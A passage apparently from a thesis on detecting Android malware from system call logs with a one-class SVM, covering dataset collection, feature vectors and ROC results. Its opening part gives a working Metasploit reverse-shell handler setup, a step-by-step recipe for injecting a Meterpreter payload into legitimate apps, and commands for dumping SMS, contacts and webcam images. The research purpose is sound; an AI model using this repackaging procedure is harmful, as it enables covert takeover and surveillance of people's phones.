The IP address of our Kali Linux host was 131.236.54.144 and as the
port number we arbitrarily chose 4864. This is the process we applied for
starting the server for Meterpreter over HTTP on our host:
msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 131.236.54.144
LHOST => 131.236.54.144
msf exploit(handler) > set LPORT 4864
LPORT=> 4864
msf exploit(handler) > exploit
[*] Started reverse handler on 131.236.54.144:4864
[*] Starting the payload handler
The payload type needs to be changed for every malware sample we gen-
erated, being it Meterpreter over another protocol or the Shell. As we set the
same port number (and the same IP address) for all our malware samples,
we cannot run them at the same time. Hence, we have to restart the payload
handler every time we test another malware.
The malware spawning the piped command Shell allows for sending Linux
commands that are executed directly at the infected Android device. This
enables to control the device from a remote server the same way as with the
ADB shell run from a host connected to the phone via USB cable.
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4.3.2.3 Embedding Malware in an Android Application
So far we have been able to generate and trigger the raw malicious code.
However, it would be more interesting to embed the code in a benign An-
droid application. This process is called repackaging. It consists of obtaining
an installation file (APK) of a legitimate application, injecting a malicious
payload in it and redistributing it [74]. As the functionality of the original
application is preserved, it does not look suspicious at the first sight. There-
fore, users get tricked into malware installation believing they are installing
the original benign application.
The steps we used for embedding our malicious payloads in benign APK
files are based on the manual Embed a Metasploit Payload in an original .apk
File [75]. We prepared all our samples with this procedure:
1. Decompile APKs: At first, decompile the benign application
(BENIGN APP.APK) and the malicious code generated with MSFvenom
(MALWARE.APK). For decompiling, use the APKTool4:
apktool d -f -o original_app BENIGN_APP.APK
apktool d -f -o malicious_payload MALWARE.APK
2. Permissions: Copy all permissions from the manifest file of the
malicious payload (malicicous payload/AndroidManifest.xml)
to the manifest file of the original application
(original app/AndroidManifest.xml). Those permissions from
the malicious payload that already exist in the original application,
should be skipped.
3. Malicious code: Create a folder with the path
original app/smali/com/metasploit/stage. To this folder,
copy files a.smali, b.smali, c.smali, d.smali and Payload.smali
from malicious payload/smali/com/metasploit/stage.
4. Locate main activity: In the manifest file of the original applica-
tion (original app/AndroidManifest.xml), find the main launchable
activity. It is the one including the following lines:
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
4https://ibotpeaches.github.io/Apktool/
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From the activity tag enclosing the two lines, remember the value of its
name attribute (e.g. com.packagename.activities.MainActivity).
5. Inject hook: With a text editor, open the smali code of the activ-
ity from the previous step (original app/smali/ACTIVITY NAME).
ACTIVITY NAME is the name (path) of the activity, with dots (“.”) re-
placed for slashes (“/”).
Find the line with the following text:
;->onCreate(Landroid/os/Bundle;)V
Just after this text, create a new line with this content:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(
Landroid/content/Context;)V}
Now save the file.
6. Recompile the application: As all the malicious code is in its place
and it is linked with the benign application, it can be compiled with
this command:
apktool b original_app
7. Sign the application: The application has to be signed to be accepted
by the Android system. To sign the application, use the jarsigner5
tool and the default debug key for Android:
jarsigner -verbose -keystore ~/.android/debug.keystore
-storepass android -keypass android -digestalg SHA1 -sigalg
MD5withRSA original_app/dist/*.apk androiddebugkey
After this step, the repackaged application is ready in the location
original app/dist.
The malware prepared with the procedure above is triggered during the
initial setup of the main activity (onCreate()), hence, just after starting the
application. It would be possible to hide the malicious code more, to trigger
it only after a certain user behaviour or after a time expiration. However,
this is not necessary in our research. The simple triggering is more suitable
for our research as we can quickly log the desired malicious behaviour.
5http://docs.oracle.com/javase/7/docs/technotes/tools/windows/
jarsigner.html
CHAPTER 4. DATASET 53
4.3.3 Collecting Malicious Dataset
With the aforementioned procedures we were able to prepare malware that
could be run on our testing device while capturing its system calls. These
captured system call samples make up the anomaly (malicious) dataset for
our research.
4.3.3.1 Prepared Malware
All Meterpreter samples functioned perfectly, however, we were not able
to make some Shell malware samples work. The TCP version of the Shell
worked well though. Given that, we decided to include all Meterpreter ver-
sion (HTTP, HTTPS and TCP) in our dataset together with only the TCP
version of the shell.
Beside the raw malicious payload, we prepared their versions embedded
in the CNET’s Tech Today (com.cbsinteractive.techtoday) and the Notepad
(com.onto.notepad) applications. These applications were chosen from our
benign dataset to represent one application communicating with the Internet
(Tech Today) and one without any network connection (Notepad).
When preparing the repackaged applications, we did not have to follow
all the aforementioned steps (4.3.2.3) for each malicious payload. All the
generated payloads needed the same permissions and the same hook to trigger
the malicious code. Therefore, after creating the first repackaged application,
it was sufficient to change only the malicious code before recompiling and
signing it.
We prepared four types of malware; three for the Meterpreter (HTTP,
HTTPS and TCP) and one for the Shell (TCP). For all these, we had the
raw payload ready together with the payload embedded in Tech Today and
Notepad applications. Thus, this gives a total of 12 malware for our malicious
samples collection.
4.3.3.2 Method for Collecting Malicious Samples
We decided to collect two kinds of samples; 5-second and 20-second ones. The
former captures only the initial connection establishment with the control
server while the latter one also captures system calls when the malware is
controlled with commands issued by the server. Each of these were captured
three times, giving a total of 72 system call samples of malicious behaviour.
Even though we have 12 different malware, they are all based on 3 applic-
ations. The Android device does not distinguish between different malware
coming from the same application. Therefore, it is not possible to have a
system image ready with all malware installed at the same time. For that
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reason, we prepared a system image without those three applications (Tech
Today, Notepad and raw malware). We used this image to restore the phone
to the state with no malware installed while having all other things set up.
For each malware type (Meterpreter HTTP/HTTPS/TCP and Shell TCP)
we performed these steps:
1. Restore the system image with no malware installed.
2. Install all versions of the tested malware (Tech Today, Notepad and
raw).
3. Start the corresponding Metasploit server in Kali Linux.
4. For each version (Tech Today, Notepad and raw), do three times:
(a) Run the script for system calls collection for the duration of 5
seconds, to capture the connection establishment.
(b) Restart the Metasploit server.
5. For each version (Tech Today, Notepad and raw), do:
(a) Run the script for system calls collection for the duration of 20
seconds. Meanwhile, if Meterpreter, issue a command from the
Metasploit server to take a picture and fetch it from the device
(webcam snap). If Shell, run various shell commands.
(b) Restart the Metasploit server.
(c) Run the script for system calls collection for the duration of 20
seconds. Meanwhile, if Meterpreter, issue Linux commands from
the Metasploit server (ifconfig, ls, cd, ps, mkdir, cp). If Shell,
run various shell commands.
(d) Restart the Metasploit server.
(e) Run the script for system calls collection for the duration of
20 seconds. Meanwhile, if Meterpreter, send Android com-
mands from the Metasploit server (dump sms, dump contacts,
dump calllog, geolocate, check root). If Shell, run various
shell commands.
(f) Restart the Metasploit server.
6. Stop the Metasploit server in Kali Linux.
Chapter 5
Analysis
With the dataset collection finished, it is time to analyse the captured data.
This chapter starts with the discussion of possible classification methods
for anomaly detection. Focus is given particularly to the Support Vector
Machine (SVM) algorithm, that was applied in our research. Subsequently,
we describe preprocessing before transforming the data into feature vectors.
The chapter finishes with the examination of different feature vectors.
5.1 Classification
The process of distinguishing between benign and malicious data can be
considered a problem of classification. Captured samples can be identified to
belong either to a benign or to a malicious category. This section describes
classification algorithms, especially the SVM.
5.1.1 Existing Methods
Machine learning can be divided into supervised and unsupervised approaches.
Unsupervised machine learning algorithms try to find structure in datasets
that consist of input data without labels. As these approaches are not told
what categories the data samples belong to, they need to make a decision
based on their own understanding. Unlike unsupervised approaches, super-
vised algorithms are given a labelled dataset for their training. Based on
these training data, the algorithms learn to differentiate between categories
and apply this knowledge on new, unlabelled data.
Even though we are not able to tell how malicious data would appear,
especially when we want to focus on unknown attacks, we can still obtain a
dataset specifying benign behaviour. Nevertheless, this brings up the ques-
55
CHAPTER 5. ANALYSIS 56
tion of whether it is possible to guarantee that a dataset includes only benign
samples. For example, the benign dataset collected for our research is based
on applications installed from the Google Play store. There is not a way
for us to guarantee that these applications are benign. Therefore, we chose
rather popular applications as the incentive of the authors of such applica-
tions is to stay trustworthy. Besides, most malicious applications appear on
third-party stores. This way, we mitigated the risk of including a malicious
application in our benign dataset.
A benign training dataset can feed a supervised machine learning al-
gorithm to teach it what benign data look like. Such data would be con-
sidered a normal. Afterwards, malicious data would be ideally marked as
anomalies. Thus, we are looking for an anomaly (novelty) detection tech-
nique based on supervised machine learning. Such approach belongs to the
statistical classification category of machine learning.
There are numerous techniques we could employ for this purpose, in-
cluding Artificial Neural Networks (ANN) [76], Support Vector Machines
(SVM) [77] and Decision trees [78]. All these are machine learning algorithms
with a single classifier [79].
ANN is a processing unit that mimics the neurons of human brain. It
consists of a set of input sensory nodes, hidden layers of processing nodes and
a set of output nodes. From a training dataset, ANN learns weights of the
connections between nodes. This weights are later applied to any input data.
SVM maps labelled learning dataset into a higher dimensional feature
space. Subsequently, it finds the optimal dividing hyperplane that separates
samples from different categories. After the separating hyperplane has been
found, new data samples are projected in the feature space and their category
is determined based on their position with respect to the hyperplane. SVMs
are designed for binary classification, to separate data into two classes. In the
case of intrusion detection, these classes are benign (normal) and malicious
(anomalies).
Decision trees classify a sample based on a sequence of decisions. These
decision are represented in a tree structure, hence the name. An examined
sample starts in a root node of the decision tree and with applied decisions
gets into a leaf node that represents a certain classification category. There-
fore, decision trees are very suitable for classification problems.
Another approach that may be applied to anomaly detection is the Hidden
Markov Model (HMM). HMM requires to know benign states and transition
probabilities between them. If the HMM spots an observation that is highly
unlikely, it marks it as an anomaly. This method is widely used in intrusion
detection techniques. Nevertheless, building the model of normal behaviour
for HMM is significantly more complex than preparing models in other tech-
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niques.
Genetic Algorithms (GA) [80] is yet another category suitable for in-
trusion detection. An example is a GA generating fuzzy rules that detect
intrusive behaviour [81]. GA might also be applied to optimize other anom-
aly detection techniques, like SVM. In such approaches, GAs help finding
optimal parameters and optimal feature selection for an SVM classifier [82].
5.1.2 One-class Support Vector Machines
For our research, we decided to apply the One-class SVM algorithm. SVMs
have generally good results for anomaly detection and they are widely used by
researchers. One-class SVM is a special kind of SVM that takes a training
dataset of only one category [83]. This training dataset defines a model
representing the normal samples. The decision function then tells whether
new data samples are similar to the training dataset or different. If they are
different, they are marked as outliers, also known as anomalies [84]
This approach is called novelty detection as the training dataset is expec-
ted to include mostly (ideally only) samples of the normal behaviour, being
the benign behaviour for intrusion detection. Anything that differs from the
normal behaviour can be considered a novelty since it was not included in the
training dataset. One-class SVM is classified as an unsupervised algorithm.
This is due to the fact that the training dataset includes only samples of one
class. Thus, these samples are not labelled.
For modelling the One-class SVM, we utilized the scikit-learn library [85].
It is an open source Python library for machine learning.
5.1.2.1 Kernel and Parameters
An important part of One-class SVM configuration lies in selecting its kernel
function and setting parameters [86]. Kernel function projects data into a
feature space to be separated by a hyperplane [87]. With a non-linear kernel,
the data can be mapped into a high dimensional feature space. Hence, it
enables separating data that would be linearly inseparable. The resulting
hyperplane may be very complex.
Kernel functions that are widely used in SVM are linear and radial basis
function (RBF). RBF comes in handy especially when data points cannot be
separated linearly. It has been shown that the linear kernel does not perform
better than the non-linear, RBF kernel, if the RBF kernel parameters have
been configured properly [88]. The linear kernel can be also considered an
extreme case of a non-linear kernel.
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Parameter ν sets the approximate fraction of training errors. Training
errors are data samples that are misclassified as outliers despite the fact that
they were included in the normal dataset.
Depending on the selected kernel, γ is another parameter that has a
significant impact on the accuracy of the system. While γ has no effect
on the linear kernel, it is used with other kernels, including the RBF kernel.
The γ parameter sets how big the influence of each individual training sample
should be. More precisely, it is defined as the distance the influence of a single
example from the training dataset reaches.
With high values of γ, the reach of samples is close and the decision
boundary is defined mostly by the samples being closer to it. On the other
hand, with low values of γ, the decision boundary is also defined by the
further samples. Those are the samples further from the decision boundary,
thus being considered “more normal”.
Even though a high value of γ would theoretically make the SVM more
accurate, the problem comes with normal samples that differ significantly
from the rest of the normal dataset. These would make the decision boundary
more jagged and more erratic. The value of γ has to be greater than zero
and it is by default set as 1/number of features.
5.1.2.2 Overfitting and Underfitting
The importance of the proper configuration is to avoid situations of overfit-
ting and underfitting. Overfitting is the problem when the classifier fits the
training dataset too tightly. That occurs when the model is exaggeratedly
complex, trying to fit all training data rather than focusing on what the data
from that class look like in general [89]. Underfitting is the opposite problem
when the classifier does not fit the data well enough. Most focus is given to
general values while omitting samples that slightly differ [90].
Overfitting is likely to happen with low values of ν together with high
values of γ. Underfitting, on the other hand would occur with high values of
ν together with low values of γ.
5.1.2.3 Parameter Selection
Selecting the proper kernel and parameters is not an easy task. Often, it
requires testing multiple options to see which gives the best results. This
can be automated with a process called grid search [91]. With a specified set
of parameters, grid search tests all these candidates to find those giving the
best results.
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Grid search is often applied together with cross-validation [92]. Cross-
validation consists of reserving a part of the training dataset for the model
evaluation. The reason for keeping these data just for evaluation is to protect
the model from overfitting. Nevertheless, automated choice of parameters
might still end up with an overfitted model. That is in fact worse than a
model obtained without the automated selection.
Moreover, automated parameter selection requires a scoring function that
tells how accurate a model is. Though, the implementation of the one-class
SVM we used in our research does not come with a scoring function. The
reason is that the scoring should be based on training data only. With
one-class SVM, the training data includes only normal (benign) samples. A
scoring function based on only one class of data would be highly inaccurate
and would not grade the actual quality of the model. Most probably, we
would end up with a highly overfitted model that would be inapplicable for
any data outside the training dataset.
Owing to that, we decided to experiment with tweaking the classifier
parameters manually. As we plan to use the RBF kernel, the parameters we
can configure are both nu and gamma. The metrics we used for evaluation
of models are described below.
5.1.2.4 Evaluation
The basis of all classifier evaluation comprises of true positives (TP), posit-
ive values that have been correctly identifies as positives and false positives
(FP), negative values that have been incorrectly identifies as positives. These
are complemented with true negatives (TN), negative values that have been
correctly identified as negatives and false negatives (FN), positive values that
have been incorrectly identified as negatives. In the case of intrusion detec-
tion, positive values are malicious samples while negative values represent
benign data. Hence, TP describe the number of malware samples correctly
classified as malicious and FP describe benign data that have been incorrectly
classified as malicious.
These values are used for computing characteristics like true positive rate
and False positive rate [93]. True positive rate (TPR) is also known as sens-
itivity or recall. It tells what the proportion of correctly identified positives is
to the number of all positives, including those not recognised by the classifier.
This value is obtained as:
TPR =
TP
real positives
real positives = TP + FN
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False positive rate (FPR) is also known as fall-out or probability of false
alarm. It focuses on the number of negative values that have been identified
incorrectly. It describes the proportion of misclassified negative values with
respect to the number of all negative samples. This value is calculated as:
FPR =
FP
real negatives
real negatives = TN + FP
Another important characteristic, especially for intrusion detection sys-
tems, is Positive predictive value (PPV), also known as precision. It de-
scribes the proportion of correctly identified positives to all predicted posit-
ives. Within intrusion detection, it tells what proportion of samples identified
as malware are truly malicious. It is calculated as:
PPV =
TP
prediction positive
prediction positive = TP + FP
Evaluation of binary classifiers can also be plotted as a Receiver Operating
Characteristic (ROC) curve [94]. This curve shows the values of TPR against
the values of FPR with respect to various threshold settings. It displays the
trade off between true positives and false positives as changing the threshold
variable either increases or decreases both the values. That is the trade
off between malware identified correctly as malicious and benign samples
identified incorrectly as malicious. ROC curve comes with another important
metric, the Area Under the ROC curve (AUROC). The AUROC describes
the accuracy of the model, with higher value meaning more accurate. The
highest value, describing the perfect model, is one. For evaluating models in
our research, we rely mostly on the ROC curve together with the AUROC
value.
5.2 Preprocessing
Before transforming the logs from our dataset into feature vector samples, the
data need preprocessing. This section starts with a description of the process
of extracting system calls names from the captured logs. It is followed by
a discussion about including or excluding initial sequence of system calls in
the logs. The section ends by outlining of the possibility of dividing logs into
smaller chunks.
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5.2.1 Extracting System Calls Names
Linux kernel system calls carry a lot of potentially relevant information,
including return values, arguments and time spent in each system call. This
is shown in Figure 5.1. However, processing these data would require a lot
of resources.
fcntl(3, F\_SETFL, O\_RDONLY|O\_LARGEFILE) = 0
lseek(3, 318, SEEK\_SET) = 318
dup3(3, 35, 0) = 35
close(3) = 0
openat(AT\_FDCWD, "/system/framework/smatlib.jar", O\_RDONLY) = 3
fcntl(3, F\_SETFD, 0) = 0
fcntl(3, F\_SETFL, O\_RDONLY|O\_LARGEFILE) = 0
lseek(3, 318, SEEK\_SET) = 318
dup3(3, 36, 0) = 36
close(3) = 0
Figure 5.1: Excerpt from a captured system calls log.
We focus on keeping the analysis as simple as possible so that it could
eventually be run on the Android device. For that reason, we want to analyse
only the frequencies and sequences of system calls. That means that we can
filter the log files to comprise only of system call names while omitting all
other data. The filtered system calls are shown in Table 5.1.
fcntl
lseek
dup3
close
openat
fcntl
fcntl
lseek
dup3
close
Table 5.1: Filtered system calls.
.
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5.2.2 Initial Sequence of System Calls
When analysing the system call logs, we have noticed that all logs start
with the same system call sequence. That is the initialisation sequence when
starting an application. We compared various logs and found out, that all logs
have the identical starting sequence comprising of the first 1033 calls. There
was a maximum of one system call difference among all captured samples.
This difference was in one extra futex system call. However, this difference
was irrespective of the tested application as it appeared arbitrarily between
different runs of the same application.
The initialisation sequence is longer as the logs resembled the same pat-
tern in the first 1500 system calls. Nonetheless, changes after the first 1033
calls were more frequent. And even slight changes might convey important
information. We plan to test whether excluding the first 1033 system calls
from logs would make any difference in the classification. Theoretically it
could make the classification more precise as the rest of the system calls,
characteristic for each application, would stand out.
5.2.3 Chunks of Smaller Samples
While our benign dataset consists of samples captured for 100 seconds,
samples from our malicious dataset were captured for the duration of 5 and
20 seconds. The purpose was to capture the exact malicious behaviour. Even
though all data for training the classifier and its evaluation are normalised,
short samples might still be different from the long ones in the spectrum of
included system calls.
To find out whether this affects the results, we will train and evaluate the
model also with shorter benign samples. To create these, we split each long
sample in 5 chunks consisting of the same number of system calls. We will
compare the results with results of using full samples. With this approach,
we will also test if benign samples are correctly classified regardless of the
phase of the application they describe.
5.3 Data Representation
As part of our research, we plan to compare results when applying various
data representations. Some might carry more relevant information distin-
guishing better between benign and malicious data samples. In this section,
we describe feature vectors tested in our research and how they are created.
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All algorithms are outlined in the Python3 notation as that was the pro-
gramming language used in the data analysis.
5.3.1 Feature Vectors
The feature vectors compared in our research are Histogram, N-gram and
Co-occurrence matrix. All these are explained in detail below.
5.3.1.1 Histogram
Histogram describes the distribution of system calls in a recorded system
calls sample. If calculated over the entire sample, it gives the number of
times each system call is present. It has already been experimented with
in the Android field [95]. Even though it is one of the simpler metrics, we
included it in our research to compare it with other, more complex feature
vectors. The process of transforming filtered system calls into the histogram
representation is depicted in Python algorithm 5.1.
Histogram Raw Normalised
recvfrom 25284 0.2968720
write 12396 0.1455476
epoll pwait 11581 0.1359783
futex 9995 0.1173562
getuid 6209 0.0729029
ioctl 5244 0.0615724
sendto 4512 0.0529776
read 4108 0.0482340
mprotect 1509 0.0177179
pread64 691 0.0081133
mmap 613 0.0071975
newfstatat 418 0.0049079
munmap 392 0.0046026
fstat 366 0.0042973
openat 237 0.0027827
Table 5.2: Histogram; excerpt of 15 first lines. Constructed from a 100 second
benign sample of BBC News (bbc.mobile.news.ww).
This algorithm gives the histogram with the actual numbers of occur-
rences of system calls. Even though this is an interesting characteristic, we
normalise these data so that it is not dependent on the duration of the sample.
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Python algorithm 5.1 Transforming system calls into histogram.
s y s c a l l l i s t = FILTERED SYSCALL LIST
histogram = {}
for s y s c a l l in s y s c a l l l i s t :
histogram [ s y s c a l l ] = histogram . get ( s y s c a l l , 0) + 1
The normalisation is over the total number of system calls. An example of
a normalised histogram and the histogram before normalisation is depicted
in Table 5.2. The histogram is in descending order with only its 15 most
frequent system calls listed. The full histogram consists of 54 system calls.
5.3.1.2 N-gram
N-gram is a contiguous sequence of items with a given sequence length, n. For
system call analysis, these items are system call names. N-gram can be used
to describe the frequency of particular sequences, for example, in a text [96].
When applying n-gram of length 3 with items being single characters, text
string “ABCBCBCAB” gives sequences ABC, BCB, CBC, BCB and so on.
The found n-gram including its frequencies is shown in Table 5.3.
ABC 1
BCB 2
CBC 2
BCA 1
CAB 1
Table 5.3: N-gram of length 3 for the text “ABCBCBCAB”
Employing n-gram vectors of system calls for intrusion detection analysis
was proposed at first for Unix programs [97]. N-grams have been employed
also in Android security. At first, the focus has been put on static analysis,
examining byte sequence n-grams to classify new files [98]. Later, also system
calls n-grams for Android malware detection were studied [99]. The algorithm
we applied for obtaining n-gram from filtered system calls is shown in Python
algorithm 5.2.
After processing data with this algorithm, it still needs to be normalised
so that it can be compared with other samples irrespective of their length.
Table 5.4 shows an n-gram of length 5 from a system call log. This is an
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Python algorithm 5.2 Transforming system calls into n-gram.
s y s c a l l l i s t = FILTERED SYSCALL LIST
n = LENGTH OF NGRAM
ngram = {}
for i in range (0 , len ( s y s c a l l l i s t ) − n + 1 ) :
i d e n t i f i e r = tuple ( s y s c a l l l i s t [ i : i + n ] )
ngram [ i d e n t i f i e r ] = ngram . get ( i d e n t i f i e r , 0) + 1
excerpt with the 15 most frequent sequences as the full n-gram consists of
1687 different system call sequences.
N-gram Raw Normalised
(’recvfrom’, ’recvfrom’, ’write’, ’recvfrom’) 3309 0.0388526
(’epoll pwait’, ’recvfrom’, ’recvfrom’, ’write’) 3276 0.0384651
(’futex’, ’getuid’, ’epoll pwait’, ’read’) 3043 0.0357293
(’recvfrom’, ’recvfrom’, ’ioctl’, ’write’) 2910 0.0341677
(’recvfrom’, ’write’, ’recvfrom’, ’recvfrom’) 2777 0.0326061
(’futex’, ’futex’, ’getuid’, ’epoll pwait’) 2660 0.0312323
(’getuid’, ’epoll pwait’, ’read’, ’epoll pwait’) 2446 0.0287197
(’write’, ’futex’, ’futex’, ’getuid’) 2412 0.0283204
(’recvfrom’, ’write’, ’write’, ’futex’) 2382 0.0279682
(’epoll pwait’, ’read’, ’epoll pwait’, ’recvfrom’) 2349 0.0275807
(’read’, ’epoll pwait’, ’recvfrom’, ’recvfrom’) 2343 0.0275103
(’write’, ’write’, ’futex’, ’futex’) 2182 0.0256199
(’recvfrom’, ’ioctl’, ’write’, ’futex’) 2143 0.0251620
(’recvfrom’, ’epoll pwait’, ’recvfrom’, ’recvfrom’) 2076 0.0243753
(’recvfrom’, ’recvfrom’, ’epoll pwait’, ’recvfrom’) 2070 0.0243049
Table 5.4: Ngram of length 4; excerpt of 15 first lines. Constructed from a
100 second benign sample of BBC News (bbc.mobile.news.ww).
5.3.1.3 Co-occurrence Matrix
Co-occurrence matrices were first described in the context of image classi-
fication as it can measure texture of images [100]. Even though it is still
utilised mostly for image processing, it has found its place as an alternat-
ive to n-gram and histogram feature vectors in anomaly detection, modelling
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user behaviour [101]. Moreover, system call co-occurrence matrices have been
experimented with for Android malware identification [102]. As these results
were promising, we also included co-occurrence matrices in our research.
Co-occurrence matrix is computed as the frequency of co-occurring ele-
ments within a defined offset. While in the image classification these elements
are individual pixels, in our research, these elements are system call names.
The modelling of a co-occurrence matrix can be shown on a text string ex-
ample, considering letters being the elements in the co-occurrence matrix.
For the text “ABCBCBCAB”, the co-occurrence matrix of offset 3 is shown
in Table 5.5. It describes how many times a letter was within the offset of
another letter. As the offset is applied only in one direction (left to right),
rows and columns are not interchangeable in the matrix (e.g. A-B and B-A),
as their values differ. In this matrix, the values represent how many times
the letter from a column has been seen in the offset of the letter from a row.
A B C
A 0 3 1
B 1 3 5
C 2 4 2
Table 5.5: Co-occurrence matrix with offset 3 for the text “ABCBCBCAB”
The algorithm that constructs the co-occurrence matrix for a list of sys-
tem calls is depicted in Python algorithm 5.3. Values from this algorithm not
only need to be normalised, but they must be also transformed into a feature
vector. Converting the matrix into a feature vector is done by creating a
dictionary of all pairs “row, column”. An example of a co-occurrence matrix
for system calls is shown in Table 5.6. The offset of this co-occurrence matrix
is of size 5. The table presents only the first 15 items, in descending order,
as the full co-occurrence matrix consists of 729 ordered pairs.
5.3.2 Transforming Data for One-class Support Vector
Machine
In the previous sections we described the feature vectors we would experi-
ment with and how to construct them. Nevertheless, they still need to be
transformed so that all samples are unified and can be presented to the One-
class SVM. In a feature vector, all items (e.g. system calls for histogram)
need to be in the same order across all samples. Also, the length of the
feature vectors has to be the same. That means that even if only one log
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Co-occurrence matrix Raw Normalised
(’recvfrom’, ’recvfrom’) 64977 0.7629273
(’epoll pwait’, ’recvfrom’) 24701 0.2900267
(’recvfrom’, ’write’) 23145 0.2717569
(’epoll pwait’, ’epoll pwait’) 21000 0.246571
(’write’, ’write’) 19283 0.2264113
(’futex’, ’futex’) 17656 0.2073079
(’write’, ’futex’) 13790 0.1619152
(’recvfrom’, ’ioctl’) 11442 0.1343462
(’getuid’, ’epoll pwait’) 11165 0.1310938
(’write’, ’recvfrom’) 10958 0.1286633
(’recvfrom’, ’futex’) 10490 0.1231683
(’getuid’, ’getuid’) 8611 0.1011060
(’futex’, ’epoll pwait’) 8303 0.0974896
(’ioctl’, ’ioctl’) 7655 0.0898811
(’read’, ’recvfrom’) 7609 0.0893410
Table 5.6: Co-occurrence matrix with offset of size 5; excerpt of first
15 lines. Constructed from a 100 second benign sample of BBC News
(bbc.mobile.news.ww).
Python algorithm 5.3 Transforming system calls into co-occurrence mat-
rix.
s y s c a l l l i s t = FILTERED SYSCALL LIST
o f f s e t = OFFSET FOR CO OCCURRENCE MATRIX
com = {}
for i in range (0 , len ( s y s c a l l l i s t ) ) :
for j in range ( i , min( i+o f f s e t , len ( s y s c a l l l i s t ) ) ) :
i d e n t i f i e r = ( s y s c a l l l i s t [ i ] , s y s c a l l l i s t [ j ] )
com [ i d e n t i f i e r ] = com dict . get ( i d e n t i f i e r , 0) + 1
CHAPTER 5. ANALYSIS 68
ecvfrom pread64 readlinkat renameat setgroups
write newfstatat getsockopt epoll create1 sigaltstack
epoll pwait writev geteuid socket setrlimit
futex munmap mkdirat getrlimit ftruncate64
getuid rt sigprocmask epoll ctl fchownat mknodat
read prctl getdents64 mount statfs64
ioctl faccessat rt sigaction setpriority sendmsg
sendto fcntl pwrite64 connect shutdown
mprotect lseek unlinkat pipe2 mremap
close clone fchmodat getpriority umask
openat madvise flock setresuid rt sigreturn
fstat dup3 eventfd2 capset fchmod
getpid dup fdatasync unshare msync
mmap sched yield fsync setresgid nanosleep
Table 5.7: All system calls captured in the dataset.
contains a certain system call that is not included in any other log, all feature
vector samples have to include that system call too even if its value is zero.
It would be possible to create a feature vector with all existing system
calls. However, the amount of Linux kernel system calls is over 250 and
not all of them are actively used. For that reason, we collected system calls
from our entire benign dataset to see which system calls we should create
the feature vector with. We found that there are 70 different system calls
present in our benign dataset. These are shown in Table 5.7.
Among these system calls, their frequencies varied a lot. Some of them
(recvfrom and write) were found in our dataset over 106 times, while some
appeared less than 10 times (msync, fchmod and nanosleep).
We also compared these system calls to those present in the malicious
dataset to find out if there are any in the malicious dataset that would be
excluded. There were 63 system calls in the malicious dataset and all of them
were found also in the benign dataset.
With 70 different system calls included in our dataset, the size of the his-
togram feature vector is 70. For co-occurrence matrix, the number increases
as all combinations need to be included. That is 702 = 4900. N-gram is dif-
ferent from the other feature vectors as the size of the vector is determined
by the length of the n-gram sequence. For n-gram of length 2, the size will
be the same as for the co-occurrence matrix; 4900. However, for n-gram of
length 3 it is 3430∗102 (703) and the length of 4 needs 2401∗104 (704) items
in the feature vector. Nevertheless, these feature vectors are sparse as most
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combinations would never occur. Thus, most elements have value zero.
As we do not know if including all system calls improves the precision of
the classifier, we will experiment also with including only the most occurring
system calls. We will take the first 40 and first 20 system calls to test those
results with results of including all 70 system calls. With fewer system calls,
the classifier training as well as the resulting classification are faster and less
computationally demanding.
Chapter 6
Results and Discussion
This chapter presents results from the data classification using the One-
class Support Vector Machine. First, we present results of experiments with
different feature vectors. Subsequently, we analyse experiments excluding
the startup sequence and splitting the system call logs into smaller chunks.
This is followed by the final discussion of the obtained results.
6.1 Experiments with Feature Vectors
This section analyses different feature vector models. To compare models,
we evaluate them with the Receiver Operating Characteristic (ROC) curve
together with the area under ROC curve (AUROC). These are described in
Section 5.1.2.4.
6.1.1 Histogram
The first feature vector we analyse is a histogram. Unlike n-gram or co-
occurrence matrix, the histogram does not have a numeric parameter that
would affect its representation. Given this, we compare the plain histogram
comprising all 70 system calls directly with histograms using only the first
40 and the first 20 system calls. These system calls were chosen as the ones
occurring most across the entire benign dataset.
The results of this comparison are shown in Figure 6.1. Even though the
histogram with only 40 system calls performs better than the other versions,
there is only a small difference between them. Nevertheless, we chose the
version with only 40 system calls for further analysis.
70
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Histogram (40 syscalls) [AUROC=0.9252]
Histogram (20 syscalls) [AUROC=0.9255]
Figure 6.1: ROC curve for histograms with different number of system calls.
6.1.2 N-gram
Unlike a histogram, n-gram feature vector can be computed for different
sequence lengths. As the length significantly affects the size of the feature
vector, it also has a big impact on the cost of the analysis. We are looking
for data representations, that could eventually be run directly on an Android
device. Hence, we compared only n-grams of short lengths. For versions with
all (70) and 40 system calls, we included only n-grams of lengths 2 and 3.
For the version with 20 system calls, we also included the n-grams of length
4. This feature vector is even smaller than the n-gram of length 3 for all
system calls.
The comparison of ROC curves and AUROC of all these version is shown
in Figure 6.2. N-grams of length 3 perform significantly better than n-grams
of length 2. This is probably due to the fact that longer n-grams hold more
information. However, in the comparison of versions of n-grams modelled
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N-gram 2 (40 syscalls) [AUROC=0.9477]
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Figure 6.2: ROC curve for n-grams of different lengths with different number
of system calls.
only with 20 system calls, an n-gram of length 4 has a worse result than the
one of length 3. However, it does better than the n-gram of length 2.
For all the evaluated n-grams, there is only a very small difference between
the results when constructing the n-grams with all system calls and when in-
cluding only the most commonly occurring ones. The versions with 20 system
calls do slightly worse than the versions with 40 system calls. However, the
versions with all system calls and 40 system calls perform roughly the same.
In practice, we would opt for the version with only 40 system calls as it
requires less computation and seemingly does not degrade in performance.
However, in this research, we chose the n-gram of length 3 with all system
calls for further analysis as it holds more information that might be relevant
in other comparisons.
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6.1.3 Co-occurrence Matrix
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Co-occurrence matrix 3 (all syscalls) [AUROC=0.9356]
Co-occurrence matrix 4 (all syscalls) [AUROC=0.9442]
Co-occurrence matrix 5 (all syscalls) [AUROC=0.9597]
Co-occurrence matrix 6 (all syscalls) [AUROC=0.9558]
Co-occurrence matrix 7 (all syscalls) [AUROC=0.9537]
Co-occurrence matrix 8 (all syscalls) [AUROC=0.9542]
Co-occurrence matrix 9 (all syscalls) [AUROC=0.9567]
Co-occurrence matrix 10 (all syscalls) [AUROC=0.9583]
Figure 6.3: ROC curve for co-occurrence matrices of with offsets.
Co-occurrence matrices can be constructed for different lengths of their
offset. Unlike the length of sequences in n-grams, the offset in co-occurrence
matrices does not have an effect on the size of the feature vector. Hence,
we compared results of co-occurrence matrices for offset values from 2 to 10.
